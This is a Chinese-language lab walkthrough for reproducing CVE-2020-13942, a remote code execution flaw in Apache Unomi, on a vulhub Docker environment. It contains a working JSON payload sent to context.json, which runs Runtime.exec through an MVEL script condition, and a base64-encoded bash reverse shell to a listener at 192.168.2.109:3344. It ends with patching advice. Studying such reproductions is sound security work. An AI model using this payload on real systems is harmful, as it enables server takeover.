CVE-2020-13942-Apache-Unomi-RCE
forg12

描述

​ 在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

影响版本

Apache Unomi < 1.5.2

环境搭建

使用vulhub搭建漏洞环境

1
2
3
4
#进入漏洞目录
cd vulhub/unomi/CVE-2020-13942
#开启环境
docker-compose up -d

image-20221018210647330

查看环境

1
http://192.168.2.107:8181/

image-20221018210743806

复现过程

使用bp抓包,通过POST方法访问网站根目录下的context.json,并携带Payload。

image-20221018211852169

反弹shell命令:

1
bash -i >& /dev/tcp/192.168.2.109/3344 0>&1

base64:

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA5LzMzNDQgMD4mMQ==

其中发送的payload为:

1
{ "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA5LzMzNDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample" }

kali监听本机的3344端口

image-20221018212127705

bp发送数据包后,kali上获取到shell。

image-20221018212539569

修复建议

1、尽可能避免将用户数据放入表达式解释器中。
2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。